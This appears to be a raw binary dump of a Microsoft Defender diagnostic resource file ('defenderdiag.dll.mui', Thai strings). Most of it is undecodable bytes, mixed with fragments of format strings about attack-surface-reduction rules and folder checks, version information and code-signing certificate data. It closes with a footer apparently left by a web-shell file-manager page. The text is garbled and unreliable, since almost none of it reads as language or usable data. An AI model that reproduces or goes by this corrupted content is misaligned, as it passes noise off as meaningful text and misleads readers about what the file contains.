5#0)P >��UT ;�B5 �R� ��AQ [�_ <�:e�@@�  (�/�S�U��B ��I���Y�  ��B) u�Y�]����].0� e[ �M���7 )_ QDL>4W� g� �� � ��W ;�@M�9e ��� �`�  (4�� �z�U ��QI�5� ��Y ]7Y��3]) �?B#Se)�F, B=�9 -c VU �.!Qm<��� �� UM<��5 e=� � uOU7]��� c� 0�>� ��25Y _@@��� -_]oa. 
� 1W mOW� /K�1S<4���� �� �\� ���T��c��� �Vg[ .!���TU �MY H����IB �@Q�]7 O�Y e� �%.! �Y��	!.�� �F �z�3M|"R�a m��%+� =�_ ��:.! cM Q9L��S ��� c� <�[[VF @�O<V[_��;[ �OY S#+_cSw 8w &?_^�]cMm_�U�.!Fc�KB��>\��_^�3���5__\TD_�.�"'-_ ��K [��5� oQ �� ��e7S��S���� �O�< 3U ��WB� a.!i�)e� @SO��ABU MO /� ^�`f� AQ�;B �m:< AM?�YQ! �Ym�aU+��a 3T m�UU);# ��Y &;_Z�Uc7<_����K�
Q eY�@�_`7Y��	MU_Z�;]. "[� @TOm�]_-�Ia �O�I� ��3 \�`" 4Q�9e �Y: %1N <�_ K>e� e%� e=�[ _�U�S �1�a ;�g R��� �[M m>�SD oIV��� �� � W�U��!@5�.�����-T� 4!8e ��W ��ID<��M: ].!Y��OU -a ��B �IUB>@.!� M  e=-_ ���
�. e �_ O��<<��� B> �I[c0!@ BR� KH I� ��Y �@g�<0: ��Y�QY<�D�� �8 �W�e��B-�F 	���J/!�c�5a. � �� m�U7 WF��3m�eVQK W.!�Y B� B=� ��	m<Q8cB�>DF�82QY� (�H�O�] a73���a B� �[� ��WQUM�� �M��QY ��Y -?��>�8c U.!W���Y��!���U a_�!?mMHe ��)@�Y7 >�UY� J�
4Fa.! M� g% �OB>�H��! I��YQH<QD� ��S�J!(a): %1&�[� ���)	� u[ U�
�T]U��>!C Q�2�Y��� B� V���]��� ������T� ��Y D�����B �;� ��] 4L!5 �� �Q�K!�4� g%� I�����c UT�S�e� @1BW�/.![ �Y�< ��. ���T�5�, B[�� ��a � ��:_3 ��YWK! gR5 �]a�!;<.!;B �� e' @>@����_. 
  B54_T 3m��T �Dw ;>D-.!6�UBW� ��c'(a) �W�m �R� 2M�7 aw_g�m ��WWO8<TDB �UWJ@�(_).5^� �H�)3��<�8� ����0L:T[ /D g[� Z�_B�< � �IeU�: �0 Q!i 1<���5a �U[��<5HB �0V>��M M���3Y.!� UVH7 �� �m�A � ��Y ^=�W.! Z�'��sB-F! (� \`) /[ I�2@� QK e[ Q�WM.=f[ �T��AQ ��_ _��A�U]��B:� �KJ��Y7� e� �Y�]��g ��Q;�O ��� D���H� �  ��U �2@T c� 1ID<��� �'7 ;��W�c U��Y��^ ��<�
�7] �U�< . 
 O����Y, B'M� ��[ � �/:�O� �W)� B[ �a]/#�m�Hc >� B%5 ��!��)] �� e� � 0 @�m�e4g�MD g'�� ��D Qo� �RTF � `Z �a .!��J>7. 
 �<��_.! ��Hc�A� ��3Q_O�c ]��@�SB ��3 �[[�ac�8A�.M���+�7 �] ��B o@-B�-�� �; ���U H1e R��� �8c�-a@�1��I# ���L/>Vgw ���>����.� !0a7 �?U�S ^�� �T�@�� eR5 U��<m��� a	mY�cC ��BA= c� �3����c �[ ����� �Y�m U�1����, ��� <�OM �K�OY<����9 ST�Y B� �[� !+9�a.0)
S1]��g ��D�.!3 �QU �K���� � - � V-2022-232782�-�S�]1�� �.!9� ��Y �I��V9g - �%Y�� "8B�gW�aWQ���T +[ W�DH�K ��e= 4� �! �OaWQ  M� BRQ �V���[��� ����Y �Q3 "D�@M/ � �� aMH[�YM @�UQ i���g� B%T ]�8U�Y e� T _kU� �Mm %4�� �@cWm�: @3OB��gW�� �� a��2)<�cw.5��S�]��� .!��K��W ��Y "8����B F���c ��Y �X ^QHU�O��[�_ m�	[�� R�_ ���: c� 1�J��Y 4] a^�F[.�.! �4aR.! iS��! +��gW!�~��-�? �%�a� ��� b�@A�J.�>>.
 �= �UYQO �U�m B' �S�]R ��[: %1"[WU A�H R���M� �� g'T \�Zb� �A���g �_  �c [��� �T�m+]]��;] e1 �OVc� eQ �R� 5�@��e�� ��c[ (�O�#S0<��e�\��AY�a��g\)����u] �����Y ���D
5� fRY�c �W��5��-�9\
^2�Y).
  >a7 ��:��B c'� �!� a �; e%� @��' 4D SUMB e%.! ���<)Ua��KU �YM< ��O�8g ��:�O �� ��Q��.E�V	7 �[ ��e�-[�O���9 @0J>7 Lie WU 9�c �.!� W�#-]�TW ��c% B�k.l�!��[Q ��_�S 
1��7c����� eQ "��<��� 
H ��A[ �] ;�c 2@���. � e0� W
Y>]>�g ]i@@MWB V� -]]� ��Y[/]e_.M� �H�/#kO�g��  �Y �M@H�A^ +U @W���Ic�8! "Bu�U: �S�B�g)�F �YO< _c�Se�9#.T <��[� ��+�� B%+a �3��Y m�a_�� gQ ���SUe�  �'� L:>���� +]a�.! �F� Y�_1<�� ��: %1a^s�@�Wg7� "A 
V�%�O_ OQ IQe .!K�L!T� �? c%�] <�[�;T. b[�[ A�  ��QAc �  �c��)�� e> � 
:��.��:�a� �?[�
� c% �Q;��_3� 
��=QW] (��c%W� �A�\^$� b)���\�M!�A��[\W�YQU��g\
Y��c�O��R�\�����O����I\^A\00010002) �� .!F]sY �c 	�I�� ] m�8-mmm 3�q�WY �)�=QY_ ��S ��I9�	c+�/e� �� � >�q."!��=�W a_WB�_ D d9 S�qsWY<;e[b"9` 1.2 �@�QDc �YO��	�< �U I�g 5F4JB�� 1H c=W[ <%-KQ. b'�[ ��� ����	c 	Q?8Qg���BC B� " 
:��.��!.!0_� 
�9���< c'�e b;Z 1.2 ABW�8g �U �8�L:� (��B[�� �9\Zd�\� �US9�!1KcU�:^5g\� 1 gO�:\\�kY�c���Q�WQY_\Z!$��J�9\�O�g��O<a\d9^ 1.2\!+QK�).PAX� ��@R�] ��T ��g ���2B� �? gR�[ m��R�D�. �'/U �H ����c �?8
g����C �� � �B�s�.� !��[ �I�VY< c%0g �� 7��E	'�D!��>OY�g'< �a 58�2<5 (H/B%�; 6?\`�`d\k3�M �!�9�W>!Z�g\� �;eS�<\^Q
�O)�^�O��+�UU\Z�$J"?\�C��	R�D�:�Y��=<[\
$).�_)A pX�  c5UB ���>7��g��Y:�U�c�c/1F ��<@O�Q�� �_ -_�2:5� �3 ��/@5� r�A '�\ c�ag. d[�a m�^ /D����e 0 �W�]TH� 1� � 9.!gu�U8 Y.!�/Y�c�3 (6: �W[
� &<L�B>4).PA2#@I26B%@-#L5H'8!FD!H*2!2#B+%!-9% mde_cfa_evaluation - 2#'44	1" CFA D!H#I-!C
I2.#'*-2#41I MdeDiag A%02#%0@5"!-9%9D!H2##'+2 CFA (2#@I26B%@-#L5H'8!) C16(D!HI-M2@42#CF - CFA M222!4;'4@#20+L %1 D%L5HH2**1"*M2+#1*20'2!H2@
7H-7-A%I'b#'2 CfaTrustChecks.txt C%%1L2#'44	1"*M2+#1%%1L2#'4@#20+L'2!H2@
7H-7-B"%0@-5"E%1 D!HDI#1'2!@
7H-7-2 CFA @7H-2#9#0'2#D!H@G5H#9I1U@4H!%C#2"2#A-5H-8
2 +#7-@4H!2#"@'I AV *M2+#1D%L5II28@
7H-7-D%L5I@%1 D!HDI#1'2!@
7H-7-2 CFA @7H-2D!H#9I1#2"2#A!H'H25;%1 D!HDI#1'2!@
7H-7-2 CFA @7H-22@#L@G*#4LF%1 D!HDI#1'2!@
7H-7-2 CFA @7H-2B+%D%L5HD!HH2@
7H-7-: %2V%1 D!HDI#1'2!@
7H-7-2 CFA @7H-29C*H@I2DB"#0'2#5HD!HH2@
7H-7-: %25@4H!2#"@'I AV *M2+#1D%L5II28@
7H-7-D%L5IH@4H!2#"@'I AV *M2+#1#0'2#5II28@
7H-7- (2#"@'I#0'2#)PA#0!'%%: %1@+82#L CFA:   - 2#M2@42#: %1 @+8%: %2@+82#L5H3C+I@*5"+2":"  - TaintType: %1, TaintReason: %22#A03: %1(%1 @+82#L)PAhASR %1 GUID '%2' (A+%HI-!9%: %3) !5
H-'H2/AGM2+I2+#7-H-I2"6H*2!2#I-1D!HC+IM2DC
IDIZ@-2
H-'H2M2+I2A%0H-I2"--2 GUID  ASR C2#M2+H2B"2"%8H!+#7-#54*#5-8}ASR %1 GUID '%2' (A+%H5H!2: %3) !5'@%G52 I-#08 GUID B"D!H!5'@%G52 (@
H 56a863a9-875e-4185-98a7-b882c64b5ce5)K%'@%G52--2 GUID  ASR C2#M2+H2B"2"%8H!+#7-#54*#5-8t2#A" ASR '%1' (A+%HI-!9%: %2) !5
H-'H2/AGM2+I2+#7-H-I2"6H*2!2#I-1D!HC+I!52#A"--22#19HDI_@-2
H-'H2M2+I2A%0H-I2"--2@*I22#A" ASR C2#M2+H2B"2"%8H!+#7-#54*#5-8�ASR %1 GUID '%2' (A+%H5H!2: %3) D!HC
H GUID 5H9I- #9A5H2D'I: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxx (@
H 56a863a9-875e-4185-98a7-b882c64b5ce5)rAID GUID  ASR CB"2"%8H!+#7-2#M2+H2#54*#5-8@7H-C
I#9A GUID 5H9I-B"D!H!5-1#0@4H!@4!�"Z� ��A<F]-OK '%1' ([�_Y�: %2) ��;e�W;] � ��S8�-�Wg�UC ('..') a!<�HB. ��eQW 3U�>��9 '..' �R ���T�c��� E�<k� �c' m�C L.! m�	R LWO��3 e=�D �% !Wg�O�! ;BW^ U�7a�[, U�>7H�@C 5E���D c'� ���@�a�>K L���8 �g_ +I��D ]�@�.��:�.! B[5 �ZX �6>�]��D �DBSw �/g[ � ��<<^-Y�_�B��� �2_O:_�Q ��eR B%�� ��[ 8�g �QIgV� '..' ]�<M Ba. ���M�B �3a��9_ M� �
S1[��B ��9�TY �QX��e D�;-����V�! .!E!k[V�� IB��a �� A�H��! !�� B�<5.PA2#2"2I-!9%@
4%62#'44	1"- Defender 7--0D#�Defender Diagnostic Insights @G@#7H-!7-'44	1"A
H'"@+%7-@-5H#'#'!A%0'4@#20+LI-!9%2#'44	1" A%013#2"2@7H-
H'"AID1
+2#0*44 2-@#7H-@*!7- Windows C Azure @-*2##0- Defender Diagnostic Insights *3+#1 Windows 7- %1"	10@#4H!#'2#2"25IDI5HC�@#4H!II'"AG 2#'! #'*-3A03A%0%4L*3+#1I-!9%5H @#5"#9I@5H"'1%#0H-#0*44 22#32 A%0A'24145H55H*8*3+#12#3+H2@7H-@4H!#0*44 22#32 @#5"#9I@4H!@4!@5H"'12##'*-#2"2 %19I-!9%@
4%62#'44	1"- Defender #'#'!I-!9%#0@ C�Defender Diagnostic Insights 0#'#'!I-!9%@5H"'1@#7H-@*!7- Windows 2#3+H24*L+#7-9%5H@GI-!9% 1'1#0*44 2 9IC
I#1"2#*9 16 A%02#42!H2F #2"%0@-5"@5H"'1
4I-!9%5H Defender Diagnostic Insights #'#'!7- %1P�P�P�P�h\!5I-4%2@46I0@#5"C
I!-9% LUA

\!5I-4%2@46I0B+%!-9%D%L LUA

`!5I-4%22D'"2#L@46IC!-9% LUA

X@4I-4%2@5H"'1+H'"'2!3 LUA

@@4I-4%21H'D- LUA

<@4I-4%2 LUA Panic

`2#3@42# LUA 911+'0B"*1

2+"8

�D!H*2!2#M2+H2*A
G-.5AD2!4*M2+#1#0'2#DI

�4VS_VERSION_INFO����e��e?\StringFileInfo8041E04B0LCompanyNameMicrosoft Corporation�0FileDescription%D2#'44	1" Microsoft Defender for EndpointBInternalNamedefenderdiag.dllp&LegalCopyright� Microsoft Corporation *'%4*44LROriginalFilenamedefenderdiag.dll.muif#ProductName#04142# Microsoft� Windows��;FileVersion4.18.26060.3008 (df1b0eba8e0e68e7272235d6dea4de3285c715b9)DProductVersion4.18.26060.3008DVarFileInfo$Translation�PADDINGX�%0�%z	*�H��
��%k0�%g10
	`�He0\
+�7�N0L0
+�70	���010
	`�He X(�~ ,�$6�BQX6�	�����A�8���V᠂
�0��0��3zk�ճ��z0
	*�H��
0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1.0,U%Microsoft Windows Production PCA 20110
260219193722Z
261017193722Z0p10	UUS10U
Washington10URedmond10U
Microsoft Corporation10UMicrosoft Windows0�"0
	*�H��
�0�
���
���xT�	�8+;�H'��h�<&�s�7\A}��;��_��=)ؔ6-� �9��
���5p^W�O���$:���dB�A�F�O�� 5��f��rvYRU_t���%�
0��b4�^����=��݌vOr�5��HT	�d���)#r�'ҳ'ϙ;��V����%=�(R64.���o�u��+j��
���A��`p�5�]�N0>iv�W��o��[3T�z+�:4aCCl@�U>���r#uN^7���v0�r0U%0
+�7
+0U��:�a8��B�~�J�$�(0EU>0<�:0810UMicrosoft Corporation10U
501107+5068660U#0��)9�ėx͐��O��|U�S0WUP0N0L�J�H�Fhttp://www.microsoft.com/pkiops/crl/MicWinProPCA2011_2011-10-19.crl%200a+U0S0Q+0�Ehttp://www.microsoft.com/pkiops/certs/MicWinProPCA2011_2011-10-19.crt0U�00
	*�H��
��T?i�t���:�]�?�T]�hd��z������B���s��=�oY�^Sxg��+OU�J%⩺��v��/V�A���'a����Q���=5�\�����[ݻ�F,�`�
4�r�̅/�Ag�?�o�ԗ�E�H��BNN�,�g?���Q�Dp��t�
u��Wtu����
g�M.u���V&h�{�Mp�9��j�Â���,N�&&�-�ƶ��: FF�2󨺇0�P0��t\��&���؞p	>��ys0��0���
avV0
	*�H��
0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20100
111019184142Z
261019185142Z0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1.0,U%Microsoft Windows Production PCA 20110�"0
	*�H��
�0�
�����.	����i�!�i33��T����� ��ҋ�8����-|by��J?5 p���k�6u�1ݍp��7�tF�([�`#,��G�g�Q'�r��ɹ;S5|���'�����#	o�F��n�<A�ˣ?]jM�i%(\6��C
��������['�'x0�[*	k"�S`,�hS��I�a��h	sD]}�T+�y��5]l+\μ�#�on�&�6�O�'��2;A�,���w�TN�\�e�C���mw�Z$�H��C0�?0	+�70U�)9�ėx͐��O��|U�S0	+�7
SubCA0U�0U�0�0U#0��Vˏ�\bh�=��[�Κ�0VUO0M0K�I�G�Ehttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0�>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0
	*�H��
��|qQ�y�n��9>�<Rn+?s��h�H�4M��&�1F�ay�8.Ek��(�����	��L
6fj���������@26v�Zƿ���Ӭ�h�b��TlP0X��|���N���|�sW�R!s4Z�V��	����~�����?�rS��c��=1e�������=����BА�_T���G�o�sNA�@�_�*��s�!(���s9_>�\`����	���Q�fG���=�*hw��Lb{��Ǻz�4Kbz����J7�-�W|�=ܸZ��ij�:��n�i!7ށ�ugӓW^)9��-���Es[���z��FX�^���g�l5��?$�5�
u�V��x,��Ј���ߺ~,c��#!�xl�X6+�̤��-����@�E�Ί\k>��p*
j�_G��c
2��6*pZ�BYqKW�~���!<��Ź���E��� ����ŕ�]b֠c �uw}=�E�����W�o3��w�bY~1�0�0��0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1.0,U%Microsoft Windows Production PCA 20113zk�ճ��z0
	`�He���0	*�H��
	1
+�70
+�710
+�70/	*�H��
	1" y�|8<1��h�o�&�8˗���E��DG����0B
+�71402��Microsoft��http://www.microsoft.com0
	*�H��
�9�B=>���V���b�G���#�e��g�6x���]-��Bц1گ�b�gae3H�d�����&�h`�b�D��F'B�Cju�s��A��	�ߧ�{#c���;*�|��Ʊwr`"��l�iu`�ˎ/DS�،?�������B��T�����d�z8FGu$-�9x����+=�az�g�gS��^K 4��A���r���Q��P����u4��`�}|���$$�}:O^��@�7>��Bz��#��^�1���0��
+�71��0�	*�H��
��p0�l10
	`�He0�R*�H��
	��A�=0�9
+�Y
010
	`�He �f�,Kj^Ξ9��ư�.��U�{��ŜY�j1�t��20260622202735.138Z0��Ѥ��0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1%0#UMicrosoft America Operations1'0%UnShield TSS ESN:8900-05E0-D9471%0#UMicrosoft Time-Stamp Service���0� 0��3"A���ȵ�"0
	*�H��
0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100
260219193956Z
270517193956Z0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1%0#UMicrosoft America Operations1'0%UnShield TSS ESN:8900-05E0-D9471%0#UMicrosoft Time-Stamp Service0�"0
	*�H��
�0�
���≺B.R�&��c��F��n/�%�6Qm�!:������h۵7c�\��_�^��F�Ҫ��Y���43?�D��!��+��
��;,��G�*rd/�[����:u=j��	?�����LW��Dz?2�E��m�5�\���#��}I�\��[>�7O��xF�Y�v��Y�)�9[�iJ��S?.�0�z:?oUk�r2�����Z���/ڕr&1�p<����hx�A�A��A��9+��:�3��:��W�}��x��n\�9O��!�!m>n9F��具����O�N>Q��z(�%�R��h,�<QdPp����{X���h�{ȭ*pD���p�	�}qr��
�~y�C��Qj�k�f�?��^��=T��O��Xd'����kr><�
,�����S��8�}�a�EJB_\�	����tZo����<�
��縘�\	b&k�5��X䪂P��D�������]bI�%��2@�'/�%r�r�����I0�E0UY�j'�[H��-��*j��0U#0���]^b]����e�S5�r0_UX0V0T�R�P�Nhttp://www.microsoft.com/pkiops/crl/Microsoft%20Time-Stamp%20PCA%202010(1).crl0l+`0^0\+0�Phttp://www.microsoft.com/pkiops/certs/Microsoft%20Time-Stamp%20PCA%202010(1).crt0U�00U%�0
+0U��0
	*�H��
�bϧ��pom�%��j>
���.��_;�%��-1�d�Ӎ/y�Pm�<�B��V+k���e���F�v�=ٙ��g��f�;�TPZ��$��h�����L(7�'��.����x\���D3�9y�[��[�C�m�0yg��kΡJ�i�yr��۟2���^%w�c|x���n
O�]>��M�<_d}҄�b�!2�L;�w�n~3�
}����2Um�Åd��7�1�T�:�$���n8���O��iU{�w:"zsv��~=$u Bk�
�#.F�]�4�Z�#��O�q�N����O*9W3����r����a�d�b��;�h����b؛�4B�!%��
{F7���L ��˕�������	�]�Z5�]��
�
E����$�V1���Ο�7x�*��Έwd._+�Ϫ��X�}�B>o9��
���;)Ȭ����+�����'�ˠ'��2�B��2��^ⵌ�V�@�,LM�Y���Ȝ%�wH���rM/��0�q0�Y�3��k��I�0
	*�H��
0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20100
210930182225Z
300930183225Z0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100�"0
	*�H��
�0�
���L�r!y���$y�Ղ��ҩlNu��5W�lJ�⽹>`3�\O�f��SqZ�~JZ��6g�F#���w2��`}jR�D���Fk��v��P�D�q\Q17�
8n����&S|9azĪ�ri����6�5&dژ;�{3��[~��R���b%�j�]�S���VM�ݼ��㑏�9,Q��pi
�6-p�1�5(�㴇$��ɏ~�T��U�mh;�F��z)7���E�Fn�2��0\O,�b�͹⍈䖬J��q�[g`���=� �s}A�Fu��_4���� }~�ٞE߶r/�}_��۪~6�6L�+n�Q���s�M7t�4���G��|?Lۯ^����s=CN�39L��Bh.�QF�ѽjZas�g�^�(v�3rק ��
�co�6d�[���!]_0t���عP��a�65�G������k�\RQ]�%��Pzl�r�Rą��<�7�?x�E���^ڏ�riƮ{��>j�.����0��0	+�70#	+�7*�R�dĚ���<F5)��/�0U��]^b]����e�S5�r0\U U0S0Q+�7L�}0A0?+3http://www.microsoft.com/pkiops/Docs/Repository.htm0U%0
+0	+�7
SubCA0U�0U�0�0U#0��Vˏ�\bh�=��[�Κ�0VUO0M0K�I�G�Ehttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0�>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0
	*�H��
��U}�*��,g1$[�rK��o�\�>NGdx���=13�9��q6?�dl|�u9m�1��lѡ�"��fg:SMݘ��x�6.���V����i�	�{�jo�)�n�?Hu��m��m#T�xSu$W�ݟ�=��h�e��V����(U'�$�@���]='�@�8���)�ü�T�B�������j�BRu�6��as.,k{n?,	x鑲�[�I�t�쑀�=�J>f;O���2ٖ����t��Lro�u0�4�z�P�
X�@<�Tm�ctH,�NG-�q�d�$�smʎ	��WITd�s�[D�Z�k
��(�g($�8K�n�!TkjEG����^O���Lv�WT	�iD~|�als�
��Af=i��AI~~���;����>�1Q������{��p���(��6ںL���
�4�$5g+�
�挙��"��'B=%��tt[jў>�~�13}���{�8pDѐ�ȫ:�:b�pcSM��m��qj�U3X��pf�P0�80����Ѥ��0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1%0#UMicrosoft America Operations1'0%UnShield TSS ESN:8900-05E0-D9471%0#UMicrosoft Time-Stamp Service�#
0+����g۰:I��չ�)��3����0���~0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100
	*�H��
���40"20260622172404Z20260623172404Z0w0=
+�Y
1/0-0
���40
"��0�0
��?�06
+�Y
1(0&0
+�Y
�
0� �
0��0
	*�H��
��[3�l7�$eo��j*	V=w��Q���@.,ۆ1���
DNJ�QP�4ySi�1��?�,$&�EI�
��J�?��{D��	�r
��s��A�Q�
9w���)B7��r�E͛�p���w[o~YiS^I�H��c�SY�h�z��#�cz�q�q� 2��VH��˥1����k �M�$�PZf|��~�h>��Ϛ�0�u:�N���h�����}S1y@���Y9�;����u�%�{h ���@�Q1�
0�	0��0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20103"A���ȵ�"0
	`�He��J0	*�H��
	1
*�H��
	0/	*�H��
	1" ?P�9C�4��;��EcQ��=q��	Z���0��*�H��
	/1��0��0��0�� `]
�Ƃ3l�`Ι� ��������	0��0���~0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20103"A���ȵ�"0" ������ȱ�TveN����4���~�J�R�i�0
	*�H��
�T.�0�k`�R�x�Ş�Dn�$S0RJG:O��x�Z�|���thϏ��aУul3K�A~�����o�ԩ�r�y'�;1ڝl�o<��ୣu|#,Bq��6�YI9az����Z�H��&Do!Z��Q���l?��/�M!�(l:�tNF�hC�E�0�2��I8)w�;�L�MXsw�3!A���*B-��
�A�t��;	i�������t�'+�a�~�uG�V��)��{�&1�ދ���d �$�yč�S�ט�t�h�Y<�*ubha(��5_����k!4�|�1AG֙\
��T݃�O/y�6Y���gCk���s2��^�RY�_�4(DN��9R���_^�T�q��
"��մ�;�e<�����=:A���j��/�i�R��1A�j`|�Y1[��f#x�̂��xk���MX�����Z�'S[���[Y�*Ka��3�����i�?��CN�S�
b���WC	H�+���u��7b

Youez - 2016 - github.com/yon3zu
LinuXploit